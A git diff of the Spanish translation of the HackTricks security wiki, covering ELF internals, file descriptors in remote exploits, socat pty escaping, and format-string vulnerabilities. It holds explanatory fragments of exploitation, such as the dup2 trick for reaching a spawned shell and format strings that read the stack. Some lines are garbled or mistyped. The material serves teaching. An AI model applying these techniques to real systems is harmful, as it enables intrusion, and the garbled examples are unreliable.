diff --git a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
index 444872043..50ae2cc7c 100644
--- a/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
+++ b/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md
@@ -1,20 +1,23 @@
# Información Básica sobre ELF
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS desde cero hasta convertirte en un experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
## Encabezados del Programa
-Describen al cargador cómo cargar el **ELF** en memoria:
+Los describe al cargador cómo cargar el **ELF** en memoria:
```bash
readelf -lW lnstat
@@ -47,50 +50,50 @@ Segment Sections...
07
08 .init_array .fini_array .dynamic .got
```
-El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (de 00 a 08) **se encuentra cada sección**.
+El programa anterior tiene **9 encabezados de programa**, luego, el **mapeo de segmentos** indica en qué encabezado de programa (del 00 al 08) **se encuentra cada sección**.
### PHDR - Encabezado de Programa
-Contiene las tablas de encabezados de programa y los metadatos en sí.
+Contiene las tablas de encabezados de programa y la metadata en sí.
### INTERP
-Indica la ruta del cargador a utilizar para cargar el binario en memoria.
+Indica la ruta del cargador que se debe usar para cargar el binario en memoria.
### LOAD
-Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria**.\
-Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del **binario ELF a copiar allí**.
+Estos encabezados se utilizan para indicar **cómo cargar un binario en memoria.**\
+Cada encabezado **LOAD** indica una región de **memoria** (tamaño, permisos y alineación) e indica los bytes del binario ELF **que se copiarán allí**.
-Por ejemplo, el segundo tiene un tamaño de 0x1190, debería estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
+Por ejemplo, el segundo tiene un tamaño de 0x1190, debe estar ubicado en 0x1fc48 con permisos de lectura y escritura y se llenará con 0x528 desde el desplazamiento 0xfc48 (no llena todo el espacio reservado). Esta memoria contendrá las secciones `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
-Este encabezado ayuda a vincular programas con sus dependencias de bibliotecas y aplicar reubicaciones. Ver la sección **`.dynamic`**.
+Este encabezado ayuda a vincular programas a sus dependencias de biblioteca y aplicar reubicaciones. Consulta la sección **`.dynamic`**.
### NOTE
-Almacena información de metadatos del proveedor sobre el binario.
+Esto almacena información de metadata del proveedor sobre el binario.
### GNU\_EH\_FRAME
-Define la ubicación de las tablas de desenrollado de la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++ en tiempo de ejecución.
+Define la ubicación de las tablas de deshacer la pila, utilizadas por depuradores y funciones de manejo de excepciones de C++.
### GNU\_STACK
-Contiene la configuración de la defensa de prevención de ejecución de pila. Si está habilitado, el binario no podrá ejecutar código desde la pila.
+Contiene la configuración de la defensa de prevención de ejecución de la pila. Si está habilitado, el binario no podrá ejecutar código desde la pila.
### GNU\_RELRO
Indica la configuración RELRO (Relocation Read-Only) del binario. Esta protección marcará como de solo lectura ciertas secciones de la memoria (como el `GOT` o las tablas `init` y `fini`) después de que el programa se haya cargado y antes de que comience a ejecutarse.
-En el ejemplo anterior, se copian 0x3b8 bytes en 0x1fc48 como de solo lectura afectando a las secciones `.init_array .fini_array .dynamic .got .data .bss`.
+En el ejemplo anterior, está copiando 0x3b8 bytes a 0x1fc48 como de solo lectura, afectando las secciones `.init_array .fini_array .dynamic .got .data .bss`.
-Tenga en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **enlace perezoso** y necesita que este espacio de memoria tenga **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
+Ten en cuenta que RELRO puede ser parcial o completo, la versión parcial no protege la sección **`.plt.got`**, que se utiliza para **lazy binding** y necesita este espacio de memoria para tener **permisos de escritura** para escribir la dirección de las bibliotecas la primera vez que se busca su ubicación.
### TLS
-Define una tabla de entradas TLS, que almacena información sobre variables locales de subprocesos.
+Define una tabla de entradas TLS, que almacena información sobre variables locales de hilo.
## Encabezados de Sección
@@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY
```
+It also indicates the location, offset, permissions but also the **tipo de datos** it section has.
+
### Secciones Meta
-* **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el desplazamiento 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**.
+* **Tabla de cadenas**: Contiene todas las cadenas necesarias para el archivo ELF (pero no las que realmente usa el programa). Por ejemplo, contiene nombres de secciones como `.text` o `.data`. Y si `.text` está en el offset 45 en la tabla de cadenas, usará el número **45** en el campo **nombre**.
* Para encontrar dónde está la tabla de cadenas, el ELF contiene un puntero a la tabla de cadenas.
-* **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (desplazamiento en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo.
+* **Tabla de símbolos**: Contiene información sobre los símbolos como el nombre (offset en la tabla de cadenas), dirección, tamaño y más metadatos sobre el símbolo.
### Secciones Principales
-* **`.text`**: Las instrucciones del programa a ejecutar.
+* **`.text`**: La instrucción del programa a ejecutar.
* **`.data`**: Variables globales con un valor definido en el programa.
-* **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se agreguen ceros inútiles al binario.
+* **`.bss`**: Variables globales no inicializadas (o inicializadas a cero). Las variables aquí se inicializan automáticamente a cero, evitando así que se añadan ceros inútiles al binario.
* **`.rodata`**: Variables globales constantes (sección de solo lectura).
-* **`.tdata`** y **`.tbss`**: Similar a .data y .bss cuando se utilizan variables locales al hilo (`__thread_local` en C++ o `__thread` en C).
+* **`.tdata`** y **`.tbss`**: Como .data y .bss cuando se utilizan variables locales de hilo (`__thread_local` en C++ o `__thread` en C).
* **`.dynamic`**: Ver abajo.
## Símbolos
-Los símbolos son ubicaciones con nombre en el programa que pueden ser una función, un objeto de datos global, variables locales al hilo...
+Los símbolos son una ubicación nombrada en el programa que podría ser una función, un objeto de datos global, variables locales de hilo...
```
readelf -s lnstat
@@ -196,13 +201,13 @@ Num: Value Size Type Bind Vis Ndx Name
Cada entrada de símbolo contiene:
* **Nombre**
-* Atributos de enlace (débil, local o global): Un símbolo local solo puede ser accedido por el programa en sí, mientras que los símbolos globales son compartidos fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser reemplazada por otra diferente.
-* **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU_IFUNC (función indirecta para reubicación)
-* Índice de la **sección** donde se encuentra
+* **Atributos de enlace** (débil, local o global): Un símbolo local solo puede ser accedido por el propio programa, mientras que el símbolo global se comparte fuera del programa. Un objeto débil es, por ejemplo, una función que puede ser sobrescrita por otra diferente.
+* **Tipo**: NOTYPE (sin tipo especificado), OBJECT (variable de datos global), FUNC (función), SECTION (sección), FILE (archivo de código fuente para depuradores), TLS (variable local de hilo), GNU\_IFUNC (función indirecta para reubicación)
+* **Índice de sección** donde se encuentra
* **Valor** (dirección en memoria)
* **Tamaño**
-## Sección Dinámica
+## Sección dinámica
```
readelf -d lnstat
@@ -237,11 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
-El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para poder continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso.
+El directorio NEEDED indica que el programa **necesita cargar la biblioteca mencionada** para continuar. El directorio NEEDED se completa una vez que la **biblioteca compartida está completamente operativa y lista** para su uso.
-## Relocalizaciones
+## Reubicaciones
-El cargador también debe reubicar las dependencias después de haberlas cargado. Estas relocalizaciones se indican en la tabla de relocalización en formatos REL o RELA y el número de relocalizaciones se da en las secciones dinámicas RELSZ o RELASZ.
+El cargador también debe reubicar las dependencias después de haberlas cargado. Estas reubicaciones se indican en la tabla de reubicación en formatos REL o RELA y el número de reubicaciones se da en las secciones dinámicas RELSZ o RELASZ.
```
readelf -r lnstat
@@ -307,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
-```plaintext
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@@ -317,23 +321,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
```
### Relocalizaciones Estáticas
-Si el **programa se carga en un lugar diferente** a la dirección preferida (generalmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** u otra razón, una relocalización estática **corrige los punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
+Si el **programa se carga en un lugar diferente** de la dirección preferida (usualmente 0x400000) porque la dirección ya está en uso o debido a **ASLR** o cualquier otra razón, una relocalización estática **corrige punteros** que tenían valores esperando que el binario se cargara en la dirección preferida.
-Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del sumando.
+Por ejemplo, cualquier sección de tipo `R_AARCH64_RELATIV` debería haber modificado la dirección en el sesgo de relocalización más el valor del aditivo.
### Relocalizaciones Dinámicas y GOT
-La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Por ejemplo, la función malloc de libC. Entonces, cuando el cargador carga libC en una dirección verificando dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Global Offset Table) (indicada en la tabla de relocalización) donde debería especificarse la dirección de malloc.
+La relocalización también podría hacer referencia a un símbolo externo (como una función de una dependencia). Como la función malloc de libC. Entonces, el cargador al cargar libC en una dirección, al verificar dónde se carga la función malloc, escribirá esta dirección en la tabla GOT (Tabla de Desplazamiento Global) (indicada en la tabla de relocalización) donde debería especificarse la dirección de malloc.
### Tabla de Enlace de Procedimientos
La sección PLT permite realizar enlace perezoso, lo que significa que la resolución de la ubicación de una función se realizará la primera vez que se acceda a ella.
-Entonces, cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en la PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena para que la próxima vez que se llame a `malloc`, se utilice esa dirección en lugar del código PLT.
+Así que cuando un programa llama a malloc, en realidad llama a la ubicación correspondiente de `malloc` en el PLT (`malloc@plt`). La primera vez que se llama, resuelve la dirección de `malloc` y la almacena, de modo que la próxima vez que se llame a `malloc`, se utiliza esa dirección en lugar del código PLT.
## Inicialización del Programa
-Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes de que** se ejecute main, como en:
+Después de que el programa ha sido cargado, es hora de que se ejecute. Sin embargo, el primer código que se ejecuta **no siempre es la función `main`**. Esto se debe a que, por ejemplo, en C++ si una **variable global es un objeto de una clase**, este objeto debe ser **inicializado** **antes** de que se ejecute main, como en:
```cpp
#include
// g++ autoinit.cpp -o autoinit
@@ -354,36 +358,51 @@ printf("Main\n");
return 0;
}
```
-Ten en cuenta que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para hacer un seguimiento de ellos.
+Nota que estas variables globales se encuentran en `.data` o `.bss`, pero en las listas `__CTOR_LIST__` y `__DTOR_LIST__` se almacenan los objetos a inicializar y destruir para mantener un seguimiento de ellos.
Desde el código C es posible obtener el mismo resultado utilizando las extensiones de GNU:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
-Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que serían referenciadas en la sección dinámica como **`INIT`** y **`FIN`** y se colocarían en las secciones `init` y `fini` del ELF.
+Desde la perspectiva de un compilador, para ejecutar estas acciones antes y después de que se ejecute la función `main`, es posible crear una función `init` y una función `fini` que serían referenciadas en la sección dinámica como **`INIT`** y **`FIN`**. y se colocan en las secciones `init` y `fini` del ELF.
-La otra opción, como se mencionó, es hacer referencia a las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** de la sección dinámica, y la longitud de estas se indica por **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
+La otra opción, como se mencionó, es referenciar las listas **`__CTOR_LIST__`** y **`__DTOR_LIST__`** en las entradas **`INIT_ARRAY`** y **`FINI_ARRAY`** en la sección dinámica y la longitud de estas se indica mediante **`INIT_ARRAYSZ`** y **`FINI_ARRAYSZ`**. Cada entrada es un puntero a función que se llamará sin argumentos.
-Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros de **`INIT_ARRAY`**.
+Además, también es posible tener un **`PREINIT_ARRAY`** con **punteros** que se ejecutarán **antes** de los punteros **`INIT_ARRAY`**.
### Orden de Inicialización
1. El programa se carga en memoria, las variables globales estáticas se inicializan en **`.data`** y las no inicializadas se ponen a cero en **`.bss`**.
-2. Se **inicializan** todas las **dependencias** del programa o bibliotecas y se ejecuta el **enlace dinámico**.
+2. Todas las **dependencias** para el programa o bibliotecas son **inicializadas** y se ejecuta el **vinculador dinámico**.
3. Se ejecutan las funciones de **`PREINIT_ARRAY`**.
4. Se ejecutan las funciones de **`INIT_ARRAY`**.
-5. Si hay una entrada de **`INIT`**, se llama.
+5. Si hay una entrada **`INIT`**, se llama.
6. Si es una biblioteca, dlopen termina aquí; si es un programa, es hora de llamar al **punto de entrada real** (función `main`).
-## Almacenamiento Local en Hilos (TLS)
+## Almacenamiento Local por Hilo (TLS)
-Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión GNU **`__thread`**.
+Se definen utilizando la palabra clave **`__thread_local`** en C++ o la extensión de GNU **`__thread`**.
Cada hilo mantendrá una ubicación única para esta variable, por lo que solo el hilo puede acceder a su variable.
-Cuando se utiliza esto, se utilizan las secciones **`.tdata`** y **`.tbss`** en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
+Cuando se utiliza esto, las secciones **`.tdata`** y **`.tbss`** se utilizan en el ELF. Que son como `.data` (inicializado) y `.bss` (no inicializado) pero para TLS.
Cada variable tendrá una entrada en el encabezado TLS especificando el tamaño y el desplazamiento TLS, que es el desplazamiento que utilizará en el área de datos local del hilo.
-El `__TLS_MODULE_BASE` es un símbolo utilizado para hacer referencia a la dirección base del almacenamiento local en hilos y apunta al área en memoria que contiene todos los datos locales del hilo de un módulo.
+El `__TLS_MODULE_BASE` es un símbolo utilizado para referirse a la dirección base del almacenamiento local por hilo y apunta al área en memoria que contiene todos los datos locales por hilo de un módulo.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/common-exploiting-problems.md b/binary-exploitation/common-exploiting-problems.md
index a526ac924..0985f69b9 100644
--- a/binary-exploitation/common-exploiting-problems.md
+++ b/binary-exploitation/common-exploiting-problems.md
@@ -1,22 +1,25 @@
# Problemas Comunes de Explotación
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
## FDs en Explotación Remota
-Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada desde stdin (FD: `0`) e imprimirá la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con la shell.
+Al enviar un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
-Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **número de FD `3`** (para escuchar) y que luego, tu conexión estará en el **número de FD `4`**. Por lo tanto, es posible utilizar la llamada al sistema **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea posible contactar la shell una vez que se ejecute.
+Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.
[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
@@ -37,20 +40,23 @@ p.interactive()
```
## Socat & pty
-Tenga en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Por lo tanto, si envía un `\x7f` (`DELETE`), **borrará el carácter anterior** de su exploit.
+Ten en cuenta que socat ya transfiere **`stdin`** y **`stdout`** al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) eliminará **el carácter anterior** de tu exploit.
-Para evitar esto, el **carácter de escape `\x16` debe ser antepuesto a cualquier `\x7f` enviado**.
+Para eludir esto, **el carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
**Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
+* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/format-strings/README.md b/binary-exploitation/format-strings/README.md
index 6e92fbc83..cc6e0884c 100644
--- a/binary-exploitation/format-strings/README.md
+++ b/binary-exploitation/format-strings/README.md
@@ -1,24 +1,27 @@
-# Cadenas de formato
+# Format Strings
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-En C **`printf`** es una función que se puede utilizar para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto sin formato con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto sin formato.
+En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
-La vulnerabilidad aparece cuando un **texto del atacante se utiliza como el primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de las **cadenas de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/inscriptible)**. De esta manera, puede **ejecutar código arbitrario**.
+La vulnerabilidad aparece cuando un **texto del atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
#### Formateadores:
```bash
@@ -44,11 +47,11 @@ printf(buffer); // If buffer contains "%x", it reads from the stack.
int value = 1205;
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
```
-* Con Argumentos Faltantes:
+* Con argumentos faltantes:
```c
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
```
-* Vulnerabilidad de fprintf:
+* fprintf vulnerable:
```c
#include
@@ -63,27 +66,27 @@ return 0;
```
### **Accediendo a Punteros**
-El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Por lo tanto, si deseas leer el cuarto parámetro de la pila usando printf, podrías hacer lo siguiente:
+El formato **`%$x`**, donde `n` es un número, permite indicar a printf que seleccione el n-ésimo parámetro (de la pila). Así que si quieres leer el 4º parámetro de la pila usando printf, podrías hacer:
```c
printf("%x %x %x %x")
```
-y leerías desde el primer hasta el cuarto parámetro.
+y leerías del primer al cuarto parámetro.
O podrías hacer:
```c
printf("$4%x")
```
-y lee directamente el cuarto.
+y leer directamente el cuarto.
-Ten en cuenta que el atacante controla el parámetro `pr`**`intf`, lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
+Nota que el atacante controla el parámetro `pr`**`intf`**, lo que básicamente significa que** su entrada estará en la pila cuando se llame a `printf`, lo que significa que podría escribir direcciones de memoria específicas en la pila.
{% hint style="danger" %}
-Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo utilizar este comportamiento.
+Un atacante que controle esta entrada, podrá **agregar direcciones arbitrarias en la pila y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
{% endhint %}
## **Lectura Arbitraria**
